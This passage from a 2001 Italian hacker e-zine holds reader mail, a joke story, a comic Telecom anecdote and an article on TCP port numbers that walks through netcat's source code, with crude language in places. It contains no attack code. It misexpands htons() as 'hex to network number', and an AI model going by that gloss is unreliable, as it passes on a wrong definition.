http://www2.systems.it/download/traduttore/tvntradu.zip | | Potreste aiutarmi? | | Vi ringrazio... | | Siete fortissimi... | | | | [R] | | No, non possiamo aiutarti. | | | +----> | | | | Date Wed, 26 Sep 2001 22:26:14 +0200 | | To | | From "Antonio ..." | | Subject tele+ | | | | [D] | | vorrei sapere dove posso trovare una guida completa per la clonazione di = | | schede di tele+ o stream. | | SPero possiate essermi di aiuto.... | | Grazie. | | | | [R] | | No, non possiamo esserti d'aiuto. | | | +----> | | | | Date 24 Sep 2001 23:32:57 -0000 | | To mail@ondaquadra.cjb.net | | From marmen@... | | Subject Salve ragazzi | | | | [D] | | Salve ragazzi, premetto che sono un vostro lettore, mi piacete molto | | e credo che facciate parte di quei poki che in italia ha ben chiaro | | in mente il significato di hacker e quindi di libertà. | | Vi vorrei proporre un progetto: | | creare un sito semplice, molto semplice, dove si spieghi una volta | | per tutte il vero significato di hacker, per differenziarci definitivamente | | dai cracker o dai lamer... | | per dare la giusta importanza e risonanza alle nostre idee SENZA INCITARE | | NESSUNO ma farci apprezzare per quello che siamo: semplici curiosi | | cybernauti :) | | dobbiamo unirci perchè siamo rimasti veramente in pochi... | | vi prego di rispondermi, anke se la risposta dovesse essere negativa... | | P.S. il nome del sito... hackers.it ovviamente :) | | P.P.S. HACK THE PLANET | | | | [R] | | Sinceramente non avvertiamo la necessita' di aprire un sito di nome | | "hackers.it" che spieghi il vero significato dell'hacking... | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0GiN] #04 - 19/11/2001 | | ME L'HA DETT0 MiO CUGGiN0 [tdi110cv] 0x04/0x23 | +-------------------------------------------------------------------------------+ | | | La seguente storiella con l'hacking o simili non ha nulla a che vedere , ma | | | | l'ho inserita proprio perchè come da ogni storiella si puo' trarne un | | | | insegnamento ... la presente l'ho trovata su una schifosissima mailing list | | | | e ve la passo RIPPATA (si stavolta ho rippato veramente) paro paro. | | | | Traetene le dovute conclusioni ... | | | | * * * | | | | Un professore di filosofia era in piedi davanti alla sua classe, prima | | | | della lezione,ed aveva davanti a sé alcuni oggetti.. | | | | Quando la lezione cominciò, senza proferire parola il professore prese un | | | | grosso vaso per la maionese, vuoto, e lo riempì con delle rocce di 5-6 | | | | cm di diametro. | | | | Quindi egli chiese agli studenti se il vaso fosse pieno, ed essi annuirono. | | | | Allora il professore prese una scatola di sassolini, e li versò nel vaso di | | | | maionese, scuotendolo appena. | | | | I sassolini, ovviamente, rotolarono negli spazi vuoti fra le rocce. | | | | Il professore quindi chiese ancora se il vaso ora fosse pieno, ed essi | | | | furono d'accordo. | | | | Gli studenti cominciarono a ridere, quando il professore prese una scatola | | | | di sabbia e la versò nel vaso. | | | | La sabbia riempì ogni spazio vuoto. | | | | "Ora" , disse il professore, "voglio che voi riconosciate che questa è la | | | | vostra vita. | | | | Le rocce sono le cose importanti - la famiglia, il partner, la salute, i | | | | figli - anche se ogni altra cosa dovesse mancare, e solo queste rimanere, | | | | la vostra vita sarebbe comunque piena. | | | | I sassolini sono le altre cose che contano, come il lavoro, la casa, | | | | l'auto. | | | | La sabbia rappresenta qualsiasi altra cosa, le piccole cose. | | | | Se voi riempite il vaso prima con la sabbia, non ci sarà più spazio per | | | | rocce e sassolini. | | | | Lo stesso è per la vostra vita; se voi spendete tutto il vostro tempo ed | | | | energie per le piccole cose,non avrete mai spazio per le cose veramente | | | | importanti. | | | | Stabilite le vostre priorità, il resto è solo sabbia". | | | | Dopo queste parole........ | | | | Uno studente si alzò e prese il vaso contenente rocce, sassolini e sabbia, | | | | che tutti consideravano pieno, e cominciò a versagli dentro un bicchiere | | | | di birra. | | | | Ovviamente la birra si infilò nei rimanenti spazi vuoti, e riempì veramente | | | | il vaso fino all'orlo. | | | | La morale di questa storia è: | | | | non importa quanto piena è la vostra vita, c'è sempre spazio per una BIRRA! | | | | * * * | | | | Direi che la cosa non ha bisgono di commenti ... | | | | Sincerely TDI110CV ... | | | +-------------------------------------------------------------------------------+ | E Voi ... affidatevi a Telecoz Italia ... | +-------------------------------------------------------------------------------+ | | | Nel presente articolo non troverete nulla di sovversivo e nessuna tecnica. | | L'unica cosa che troverete sara' la narrazione di un colloquio telefonico | | avvenuto con un paio di omini telecoz. | | Dovete pensare infatti che in Italia quasi tutto cio che rientra nel campo | | delle telecomunicazioni e' gestito dalla nostra beneamata telecoz Italia. | | Un pomeriggio , mentre mi trovavo in ufficio , ho reclamato alla caxxo in | | oggetto il fatto che una linea dedicata , che connette i nostri terminali | | ad un host remoto , non funzionava affatto bene. | | Spesso ci capitavano interruzioni inspiegabili e rallentamenti a dire poco | | Tartarughiani. | | La telecoz mi risponde che avrebbe controllato e che eventualmente avrebbe | | fatto uscire un Tecnico a far controllare lo SNA e il modem in questione. | | Sentite tali parole mi son caduti circa 3.000 capelli. | | Ho pensato subito che non poteva altro che finire peggio di come la | | situazione | | era attualmente. | | Infatti ... Vabbè ora vi scrivo per filo e per segno la telefonata | | successiva | | perchè sto ancora ridendo. Ovviamente non potro' fare nomi , ma cerchero' | | di spiegarmi al meglio. (dialetto Rulez) | | | | telecoz - A bongiorno , chi se la telecoz Venessia , con ci parlo ? | | Tdi - Ehm ... bongiorno io sono il Sign. TDI , mi dica pure ... | | telecoz - Alura Sign. TDI mi gho manda' un Tennico in Via XXX alla ditta | | YYY per dei problemi de linea. | | Tdi - Si perfetto la via e' quella e la ditta pure , quindi ? | | telecoz - Ecco ehmm ... pero' ghe se un problema ostia | | Tdi - Scusi che problema ? | | telecoz - E insomma el Tennico le proprio nella via XXX ma in via XXX non | | ghe | | se niente. | | Tdi - Cosa ? Guardi in quella via ci son circa 10.000 persone che lavorano. | | telecoz - E no ... a mi el Tennico me gha ditto che non ghe se n'ostrega. | | Tdi - Ehm ... guardi ci deve essere un errore perchè in quella Via ci | | saranno | | almeno 10 aziende enormi. | | | | (Ora mi e' venuto il dubbio che si trovasse in un altra citta' , ma la | | possibilita' era molto remota dal momento che in Italia non ci devono | | essere | | piu' attivita' con lo stesso nome no ?!) | | | | Tdi - Scusi ma e' sicuro che la via sia XXX e la ditta YYY di ZZZ ? | | telecoz - E insoma acchi' non semo mia imbecili ah ?! | | | | (La risposta sorge spontanea) | | | | telecoz - Alura Sior. Tdi el speta n'attimo che sento el Tennico | | | | (Dopo 2 minuti abbondanti di attesa l'omino telecoz torna alla riscossa) | | | | telecoz - Alura TDI el problema le' n'altro , el tecnico el se trova in via | | XXX (notare che il pirla cita solo la via) , ma nol trova mia | | la linea. | | | | (Citandomi solo la via cosa vado a pensare ? Vado a pensare che questo si | | trova nella via interessata in mezzo alla strada , e che sta cercando il | | suo amato gabbiottino delle derivazioni no ?! e invece ...) | | | | Tdi - Come non trova la linea ? Che tipo di linea cerca ? | | telecoz - E insoma se la linea quella fata con i fili che fan pasare | | le informasioni no ?! | | Tdi - Insomma onestamente ho una vaga idea di cosa sia una linea , ma non | | capisco cosa stia cercando in mezzo alla strada ... | | telecoz - ehm ... no no Sior TDI , non se semo mia capiti. Anzi me sa tanto | | che non ho capio n'ostia gnanca mi. El staga in linea che sento | | ancora el Tennico. | | | | (ora uno che mi da una definizione simile di una linea telematica lo | | prenderei e lo manderei a zappare la terra , e poi che caxxo mi rompi le | | palle se neanche tu hai idea di dove sia e cosa stia cercando il 'TENNICO') | | | | telecoz - Sior TDI le pasarea n'atimo el Tennico parchè non capiso sa sta | | sucedendo. | | Tdi - E vabbè passame sto caxxo de Tennico. | | | | (chissa che almeno il secondo tennico sia un pochino piu' sveglio no ?! | | Insomma la speranza e' l'ultima a morire no ? E ancora una volta incece | | ...) | | | | telecoz2 - A bongiorno Sior. TDI | | Tdi(incazz) - Ehm buongiorno mi dica qual'è il problema ? | | telecoz2 - Alura el problema se che chi in via XXX non ghe se la linea. | | Tdi(incazz) - Scusi come non ce linea ? | | telecoz2 - Ma si dai la linea , insomma el macchinino dove ghe se mete la | | spina del telefono no ?! | | Tdi - Insomma il modem ?! | | telecoz - Eh brao proprio il modem , salo quel che se usa anca par INTERNET | | ? | | Tdi - Si , piu' o meno , diciamo che ho una vaga idea di cosa sia un modem. | | Ma scusi se lei si trova in via XXX il modem dove spera di trovarlo ? | | telecoz2 - Ma no , mi son in via XXX ma sono rento la dita YYY di via XXX. | | Tdi - A ma allora si trova gia in ditta , e ditelo no ?! Ma scusi dove si | | trova ora ? | | telecoz2 - Be Sior TDI , mi ora son in una stasetta dove arivano tuti i fili | | salo quel posto dove ghe tanti computer uno sopra l'altro e | | colegadi tutti con i fili... ehm insoma ... | | | | (Ossignur ... stai a vedere che questo si trova in sala macchine) | | | | Tdi - Caxxo ma allora lei si trova in sala macchine no ?! | | telecoz2 - Eco si ! La se ciama proprio sala macchine. | | | | (Ora io mi chiedo come cazzo sia entrato in sala macchine dal momento che | | la chiave elettronica della suddetta l'ha solo il responsabile dei | | sistemisti.) | | | | Tdi - Scusi ma ora in sala macchine che cerca ? | | telecoz2 - Be mi cerco proprio el modem , ma nol trovo mia OSTIA @!*§# | | Tdi - Guardi il modem si trova in quell'armadio (TRASPARENTE) insieme a | | tutti | | gli altri. (saranno una cinquantina) | | Pero' e' meglio se parla con la persona XXXXXXXXX | | telecoz2 - An si ? Alora sicome acchi' ghe se un so colega sento lu se me sa | | dir dove poter rintraciare sto XXXXXXXXX | | Tdi - Senta pure cosi' poi io torno alle mie faccende no ?! | | | | (sento le 2 voci che si parlano e dicono ...) | | | | telecoz2 - Scusi i me gha ditto de parlar con un certo XXXXXXXXX salo dove | | poso trovarlo ? | | XXXXXXXX - GUARDI CHE IL SIGNORE CHE CERCA ... SONO IO ... | | | | A questo punto ho sbattuto giu il telefono perchè la cosa oltre a sembrare | | una presa per il culo mi aveva portato via anche 20 minuti. | | Ma adesso come adesso sto ridendo ancora. | | Ora secondo Voi se avessi chiesto di montare un Router ... che cazzo | | combinavano ? | | Approposito ... la linea e' come prima se non peggio ... | | Termino con la tipica espressione del cazzo di 102.5 ... Viva l'Italia ... | | | | Ciao a tutti il Vostro TDI110CV ___________ | | | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [HACKiNG] #04 - 19/11/2001 | | P0RTE, MA QUANTE S0N0? [TheMRcode] 0x05/0x23 | +-------------------------------------------------------------------------------+ | | |Eccomi qua, mentre mi sorbo lentamente un vasetto di yoghurt ai frutti di | |boscaglia, per fare un appunto su "METTiAM0 NETCAT NELL'0MBRA", un articolo | |apparso su #oq02, scritto da Tdi110cv. | |Ora, precisando che non è mia intenzione ne offendere, ne sputtanare TDI | |davanti a tutti, ma solo fare un "Errata Corrige" dell' articolo.Già, perchè le| |informazioni date nel suddetto sono errate, Perchè ? Vediamolo insieme ! Come | |ben sapete, Internet (e le reti in generale, e anche la vita) si basa su dei | |protocolli. Il più conosciuto è sicuramente l'IP (non il benzinaio, ma Internet| |Protocol :). Esso ha una struttura molto semplice, e fornisce solamente un | |servizio, diciamo "di supporto" per altri protocolli (TCP,UDP,ICMP,..).Vediamo | |insieme la struttura del IP (tratta dal RFC 791): | | | | 0 1 2 3 | | 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | |Version| IHL |Type of Service| Total Length | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Identification |Flags| Fragment Offset | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Time to Live | Protocol | Header Checksum | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Source Address | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Destination Address | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Options | Padding | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | |Come vedete è suddiviso in campi di bit (non byte, attenzione) di lunghezza | |variabile. Come potete notare, non è presente il campo che specifica la porta a| |cui mandare il pacchetto. Molti potranno dire: "e Type of Services allora cos'è| |?". Rispondo prendendo direttamente la descrizione dall'RFC: | | | |[----------- SNIP -----------] | | | |Type of Service: 8 bits | | | | The Type of Service provides an indication of the abstract | | parameters of the quality of service desired. These parameters are | | to be used to guide the selection of the actual service parameters | | when transmitting a datagram through a particular network. Several | | networks offer service precedence, which somehow treats high | | precedence traffic as more important than other traffic (generally | | by accepting only traffic above a certain precedence at time of high | | load). The major choice is a three way tradeoff between low-delay, | | high-reliability, and high-throughput. | | | | Bits 0-2: Precedence. | | Bit 3: 0 = Normal Delay, 1 = Low Delay. | | Bits 4: 0 = Normal Throughput, 1 = High Throughput. | | Bits 5: 0 = Normal Relibility, 1 = High Relibility. | | Bit 6-7: Reserved for Future Use. | | | | 0 1 2 3 4 5 6 7 | | +-----+-----+-----+-----+-----+-----+-----+-----+ | | | | | | | | | | | | PRECEDENCE | D | T | R | 0 | 0 | | | | | | | | | | | | +-----+-----+-----+-----+-----+-----+-----+-----+ | | | | Precedence | | | | 111 - Network Control | | 110 - Internetwork Control | | 101 - CRITIC/ECP | | 100 - Flash Override | | 011 - Flash | | 010 - Immediate | | 001 - Priority | | 000 - Routine | | | | The use of the Delay, Throughput, and Reliability indications may | | increase the cost (in some sense) of the service. In many networks | | better performance for one of these parameters is coupled with worse | | performance on another. Except for very unusual cases at most two | | of these three indications should be set. | | | | The type of service is used to specify the treatment of the datagram | | during its transmission through the internet system. Example | | mappings of the internet type of service to the actual service | | provided on networks such as AUTODIN II, ARPANET, SATNET, and PRNET | | is given in "Service Mappings" [8]. | | | | The Network Control precedence designation is intended to be used | | within a network only. The actual use and control of that | | designation is up to each network. The Internetwork Control | | designation is intended for use by gateway control originators only. | | If the actual use of these precedence designations is of concern to | | a particular network, it is the responsibility of that network to | | control the access to, and use of, those precedence designations. | | | |[----------- SNIP -----------] | | | |Non capite l'inglese ? Beh, io nemmeno tanto :) | |Comunque, il campo ToS si occupa diciamo di dare una certa priorità del | |pacchetto sugli altri. Un vantaggio potrebbe essere quello di mandare un | |pacchetto SYN con priorità più alta rispetto agli altri, cosi da velocizzare il| |collegamento, ad esempio, con un server Web (cosa che viene fatta). In parole | |povere, non è quel di cui dobbiamo parlare :) | | | |Per trovare quello che vogliamo (il campo dove viene immagazzinata la porta a | |cui connettersi), dobbiamo cercare in un'altro header. Il TCP ad esempio ! | |L'acronimo TCP sta per Tansmission Control Protocol. Infatti viene utilizzato | |come base per HTTP, FTP; POP3, SMTP, e molti altri. La particolarita del TCP è | |che offre un controllo dei pacchetti, cosa che l'IP non fa. Esempio: devo | |mandare 30 byte di dati a un server. Il socket, per evitare di rallentare il pc| |(o la rete), cosa fa ? Esegue il frammenting, cioè spezzetta i dati da mandare | |in più pacchetti. Cosi ottieniamo 3 (per non dire 2 o 10) pacchetti,dove ognuno| |contiene 10 byte di dati. Poi uno ad uno vengono spediti al destinatario. Ma si| |sa, la rete non è molto affidabile, e a volte i router hanno picchi di lavoro, | |che possono causare inconvenienti, del tipo i pacchetti non seguono tutti la | |stessa "strada", ma passano per router diversi per arrivare a destinazione. Cio| |puo comportare il fatto che i pacchetti non arrivino in ordine, ma mischiati | |(3-1-2 ad esempio). Qui interviene il TCP, che si occupa di mettere in ordine i| |pacchetti, e farli arrivare belli e sani come al principio. Ma se un paccheto | |dovesse perdersi (capita spesso) ?? Anche qui il TCP interviene, segnalando al | |mittente che manca uno o più pacchetti, per poi rispedirli. La segnalazione,che| |è di tipo passivo, avviene mandando un pacchetto di ricevuta per ogni pacchetto| |arrivato. Come la posta raccomandata, se non vi arriva la conferma,rimandate la| |lettera. Beh, ho parlato fin troppo teoricamente. Vediamoci l'header (tratto la| |RFC 793): | | | | 0 1 2 3 | | 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Source Port | Destination Port | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Sequence Number | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Acknowledgment Number | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Data | |U|A|P|R|S|F| | | | | Offset| Reserved |R|C|S|S|Y|I| Window | | | | | |G|K|H|T|N|N| | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Checksum | Urgent Pointer | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Options | Padding | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | data | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | |PS: Pure qui tutti bit, non byte | | | |Come vedete, è molto più complicato di quello dell'IP (no, non il benzinaio, | |uffa !! ;) | |Ma cosa vedo subito in cima ? Source and Destination Port !! Eccoli qua !!! | |Finalmente ! | | | |[----------- DISGRESSIONE -----------] | | | |Forse non vi è ben chiaro cosa sia il source port ? Io avevo dei dubbi su cio | |fino a 5 mesi fa, percui, ve lo spiego, cosi taglio la testa la toro anche per | |voi :) (e poi non ha mai fatto male a nessuno un po di spiegazioni) | | | |Il TCP funziona un po come una comunicazione fra le solite 2 condominiali | |pettegole, che si scambiano "vitali" informazioni su ogni cosa che le circonda.| | | |(A)- "Ma lo sai che quella del 4' piano ha comprato una scatola da 25 di | |preserativi Duron, quelli ritardati ??" | |(B)- "Ohh ,allora si vede che fa le corna con il portiere, quel gran pezzo di | |gnocco !" | |(A)- "Eggia !! me lo vorrei fare io quell li, e senza Duron !!!" | |(B)- "Ehhh, ma quello li ha tutte le gnocche davanti, vuoi che pensi a noi 2 di| |60 anni ?" | | | |Vabbe, questi sono esempi, poi gli argomenti variano :P | | | |vicina(A) -> finestra(A) -> finestra(B) -> vicina(B) | |vicina(B) -> finestra(B) -> finestra(A) -> vicina(A) | | | |vicina(A) == client | |finestra(A) == source port | |finestra(B) == destination port | |vicina(B) == server | | | |E viceversa. | | | |Tornando al mondo dei PC, facciamo un esempio (tecnico questa volta) | |schematizzato: | | | |mIRC --> 127.0.0.1:1432 --> 123.456.789:6667 --> Bahamuh | |Bahamut --> 123.456.789:6667 --> 127.0.0.1:1432 --> mIRC | | | |PS: gli IP sono inventati (eddai, a memoria mica me li ricordo, su :) | |PS2: Bahamut è il nuovo ircD che verrà montato sulle reti di AzzurraNet | |(irc.azzurranet.org) | |PS3: Se usare kVirc, ircII, xCHAT, bitchX, dIRC, pIRC, ecc ecc, la cosa vale lo| |stesso | | | |Insomma, dovrebbe esservi chiaro. Ogni volta che voi vi volete connettere a una| |porta remota, dovete per forza aprire una porta locale, senno da dove escono i | |dati ? Spero abbiate capito :) | | | |[----------- DIGRESSIONE -----------] | | | |Pausa cena............rieccomi ! | | | |Ritornando al tema principale, avrete notato che i campi Source e Destination | |Port (d'ora in avanti, SP e DP) sono formati da una serie di 16 bit l'uno. Non | |sapete cosa sono i bit ?? No, dai ! Non fatemi fare un'altra disgressione :) | |In parole povere, i bit sono la minima unità (anzi, l'unica, visto che i byte e| |multipli sono solo insiemi di bit) di dati che un computer puo gestire. Per | |approfondimenti, leggetevi i tutorial sull'assembler di Emanuele Del Bono su | |www.programmazione.it.Ritornando a noi.. percui ogni porta può essere codata in| |un massimo di 16 bit. Facciamo un po di conti: | | | |16 bit == 2 byte == 1 word | |E qual'è il valore massimo assumibile da 1 word,nei vari sistemi di numerazione| |? | | | | +----------------------------------------------------+ | | | Binario | Esadecimale | Ottale | Decimale | | | | -----------------|-------------|--------|----------| | | | 1111111111111111 | FFFF | 177777 | 65535 | | | +----------------------------------------------------+ | | | |Mi pare più che esplicativo. Tecnicamente è IMPOSSIBILE andare oltre la porta | |65535. | |Ma come mai TDI ha commesso un così grave errore ? E' presto spiegato. Lui ha | |utilizzato come cavia di prova il NetCat, ed esso ha un particolare modo per | |gestire le porte. Se voi scrivete "nc -l -p 99999999999" lui effetivamente si | |mette in ascolto. | | | |;D:\MyFile\Netcat 1.1>nc -l -p 999999999 | |; | | | |Essì, si mette in ascolto. Proviamo con un'altro NetCat a connetterci: | | | |;D:\MyFile\Netcat 1.1>nc 127.0.0.1 999999999 | |; | | | |Essì, si connette ! E comunica anche ! Ma come è possibile allora ? Come fa a | |gestire un SP e DP oltre i 16 bit ?? E' presto spiegato il trucco ! Provate a | |usare il Very Verbose Mode del NetCat (flag -vv): | | | |;D:\MyFile\Netcat 1.1>nc -l -p 999999999 -vv | |;listening on [any] 51711 ... | |; | | | |;D:\MyFile\Netcat 1.1>nc 127.0.0.1 999999999 -vv | |;127.0.0.1: inverse host lookup failed: h_errno 11004: NO_DATA | |;(UNKNOWN) [127.0.0.1] 51711 (?) open | |; | | | |Magia !! la porta 999999999 non c'è più ! E' venuta invece la 51711 !! Come mai| |?? Qui lascio la parola a MrCode. E' lui che si è masochistizzato con i | |sorgenti del NetCat :) | | | |Okkei, ormai mi ci hai tirato dentro e non posso fare altrimenti, ma prima di | |tutto premetto una cosa: come già detto dal mio TheMr preferito (speriamo ce ne| |sia uno solo...non oso pensare...brrrr ;) questo non vuole essere un qualcosa | |per dare in testa a TDI110cv, che comunque stimo molto e reputo una persona in | |gamba e competente, e' invece un pretesto per parlare in maniera semplice e | |discorsiva di cosa combina al suo interno il nostro beneamato netcat.....ohhhh,| |detto questo parto davvero :)) | |Dietro alla discussione nata sul campo "porta" a 16bit, la curiosità mi ha | |portato a spulciare i sorgenti del netcat, per vedere cosa mai combinasse con | |quel valore passato in argomento dopo lo switch "-p", ecco cosa ne ho tirato | |fuori: | | | |[snip] | | | | case 'p': /* local source port */ | | o_lport = getportpoop (optarg, 0); | | if (o_lport == 0) | | bail ("invalid local port %s", optarg); | | break; | | | |[snip] | | | |ecco il pezzo di codice dove il NC controlla l'argomento passato sulla linea | |di comando come numero di porta, la funzione bail() stampa il messaggio di | |errore solo nel caso in cui la getportpoop() restituisca 0, quindi steppiamo | |(sice rulez hihihi) ancora e andiamo a vedere cosa fa di bello 'sta benedetta | |funzione...prima pero' una curiosita, fammi un po vedere come e' dichiarata la | |variabile o_lport....USHORT, bene sono proprio 16bit, come ci aspettavamo (per | |dipiu' unsigned!...getportpoop() a noi due!) :P | | | |[snip] | | | |/* getportpoop : | | Same general idea as gethostpoop -- look up a port in /etc/services, fill | | in global port_poop, but return the actual port *number*. Pass ONE of: | | pstring to resolve stuff like "23" or "exec"; | | pnum to reverse-resolve something that's already a number. | | If o_nflag is on, fill in what we can but skip the getservby??? stuff. | | Might as well have consistent behavior here, and it *is* faster. */ | |USHORT getportpoop (pstring, pnum) | | char * pstring; | | unsigned int pnum; | |{ | | | |[snip] | | | |la funzione in questione effettua il parsing degli argomenti passati, e ritorna| |un USHORT come effettivo numero di porta. Passando un puntatore ad una stringa | |(char *pstring)la funzione cerca di ricavare il numero di porta sia facendo una| |ricerca di corrispondenza tra il nome del servizio e l'effetivo numero di porta| |(trovate la descrizione delle corrispondenze nome servizio <-> numero porta | |nell'articolo del mio caro ph0b0s su ondaquadra.n°01 - PORTE TCP/UDP). Passando| |un numero (int *pnum) la funzione cerca di verificarne l'esattezza. Poichè come| |si vede dal precedente snip di codice la funzione e' invocato col passaggio | |della stringa, si puo' scrivere dopo il "-p" qualsiasi cosa, tipo "-23", | |"ftpippa", "themrbellissimo" o altre amenita' simili...ma guardiamo allora come| |viene trattata la stringa? e il numero che ne esce fuori? come lo | |ricava?..badiamo un po..... | | | |[snip] | | | |/* case 2: resolve a string, but we still give preference to numbers instead | | of trying to resolve conflicts. None of the entries in *my* extensive | | /etc/services begins with a digit, so this should "always work" unless | | you're at 3com and have some company-internal services defined... */ | | if (pstring) { | | if (pnum) /* one or the other, pleeze */ | | return (0); /* o l'uno o l'altro! :P */ | | x = atoi (pstring); /* <--- ecco chi converte la stringa in| |numero!! */ | | if (x) | | return (getportpoop (NULL, x)); /* recurse for numeric-string-arg */ | | if (o_nflag) /* can't use names! */ | | return (0); | | servent = getservbyname (pstring, whichp); /* <- qui invece cerca la | |corrispondenza */ | | if (servent) { /* tra nome servizio e numero | |porta */ | | strncpy (portpoop->name, servent->s_name, sizeof (portpoop->name)); | | x = ntohs (servent->s_port); | | goto gp_finish; | | } /* if servent */ | | } /* if pstring */ | | | |[snip] | | | |ecco qua, questo e' il caso in cui pstring deve essere spulciato, e come lo | |fa?..tramite un banalissimo atoi() e richiamando ricorsivamente la funzione col| |numero restituito dalla atoi()...non mi piacciono le funzioni ricorsive, | |ciucciano memoria sullo stack, vanno in overflow, le fanno nere!! eppoi il mio | |proffe all'uni non le voleva nemmeno sentir nominare!! si potrebbe cambiare e | |fare una versione non ricorsiva,del resto si tratta solo di 'parsare' un numero| |e una stringa! :P | |Bene, alla seconda chiamata,capitiamo nel caso in cui si passa alla funzione un| |int...guardiamo un po... | | | |[snip] | | | |if (pnum) { | | if (pstring) /* one or the other, pleeze */ | | return (0); | | x = pnum; | | if (o_nflag) /* go faster, skip getservbyblah */ | | goto gp_finish; | | y = htons (x); /* gotta do this -- see Fig.1 below */ | | servent = getservbyport (y, whichp); | | if (servent) { | | y = ntohs (servent->s_port); | | if (x != y) /* "never happen" */ | | holler ("Warning: port-bynum mismatch, %d != %d", x, y); | | strncpy (portpoop->name, servent->s_name, sizeof (portpoop->name)); | | } /* if servent */ | | goto gp_finish; | | } /* if pnum */ | | | |[snip] | | | |dopo aver fatto atoi() sulla stringa, la funzione effettua htons() (hex to | |network number) sul numero ricavato e tenta di trovare il corrispondente | |servizio con la getservbyport(). | |La funzione finisce con un bel "goto" (che vergogna, io li odio i goto in C!! | |Penso che non li sopportino nemmeno Kernighan e Ritchie.... :PP) guardiamo dove| |ci porta......ovvero due righe piu' giu', dopo un return(0) messo per non farsi| |rompere le scatole dal compilatore: | | | |[snip] | | | |gp_finish: | |/* Fall here whether or not we have a valid servent at this point, with | | x containing our [host-order and therefore useful, dammit] port number */ | | | |/* TRADUCO: la funzione cade qui, che abbia trovato un numero di porta valido | |oppure no, con x che contiene il nostro [host-order e speriamo utile, | |dannazione] numero di porta */ | | | | sprintf (portpoop->anum, "%d", x); /* always load any numeric specs! */ | | portpoop->num = (x & 0xffff); /* ushort, remember... */ | | return (portpoop->num); | |} | | | |[snip] | | | |riempie il campo num della struttura portpoop con il valore di x trovato 'and' | |0xffff e guardate il commento che mette..."la porta e' un USHORT, ricordate?" | |;) e poi ritorna il numero calcolato al chiamante. Ecco scoperto il tremendo | |algoritmo per il calcolo della porta a partire da una stringa di testo, atoi() | |and 0xffff, tutto qui, quindi ancora una volta...non si possono mettere porte | |come la "-23" o come la "999999" bisognerebbe riscrivere da capo tutto il | |protocollo tcp/ip :P, e comunque il netcat effettua tutto questo senza avvisare| |nessuno se non si mette l'opzione "-vv" . Altra cosa giusto per finire la IANA | |ha standardizzato non i numeri di porta,ma i servizi ad essa associati, in modo| |che su qualsiasi server ci si connetta, una porta 23 sia un telnet, una 21 un | |ftp, e cosi' via per gli altri servizi. Poi che ognuno di noi faccia quel che | |vuole con le porte.....beh quello e' un altro paio di maniche...:P | |Con questo e' tutto, a voi regia...(ma bada te se mi devo far comandare a | |bacchetta cosi' da themr...vabbe' che e' il mio simbiote, ma tutto ha un | |limite!!) ;) | | | | | |Grazie Mike, qui regia :PP | |Beh, tralasciando gli scherzi, MrCode ha commentato benissimo i pezzi di codice| |del NetCat che ci servivano per capire. Anche da essi abbiamo avuto conferma:le| |porte NON vann oltre la 65535. TDI si è fatto "abbindolare" da una strana | |feature del NetCat, che esegue le correzioni, senza però dire nulla a nessuno. | |Solo con il verbose Mode si riesce a capire la "correzione". Questa cosa | |oltretutto, la si poteva notare anche in altro modo. Provate con un programma | |normale (chesso, il vostro client FTP) a connettervi a una porta da 32 bit. | |vedrete che non ve l'accetta :) | | | |Bene, penso di aver finito :) | | | |Se volete chiarimenti, dirci che siamo stati bravi, oppure mandarci a quel | |paese... | |TheMR : the.mr@bigfoot.com | |MrCode : mr.code@libero.it | |Oppure ci trovate su sempre Azzurra. Ormai siamo BOT umani :)) | | | |Salutazzi ai friend di #crack-it #hackzxtreme #hackmaniaci #chihackerare #rotfl| |E un "vaffanculo" a quegli schifosi sporchi lurudi ripugnandi lamer del cazzo | |che continuano a romperci i coglioni e a non lasciarci in pace un momento. | |Benenetto +b mode, aiutaci :)) | | | |Gia che ci sono, vorrei dire una cosetta a quelli che sul forum di PI hanno | |"commentato" l'articolo di TDI (e anche l'intervista in generale): | |Se non vi piace OQ, nessuno vi obbliga a leggerla. OQ è una rivista di | |informazione libera. Se non vi piace cio' che scriviamo, non leggetela. E anche| |se negli articoli ci sono delle imprecisioni, ricordate che siamo umani anche | |noi, e che errare e' 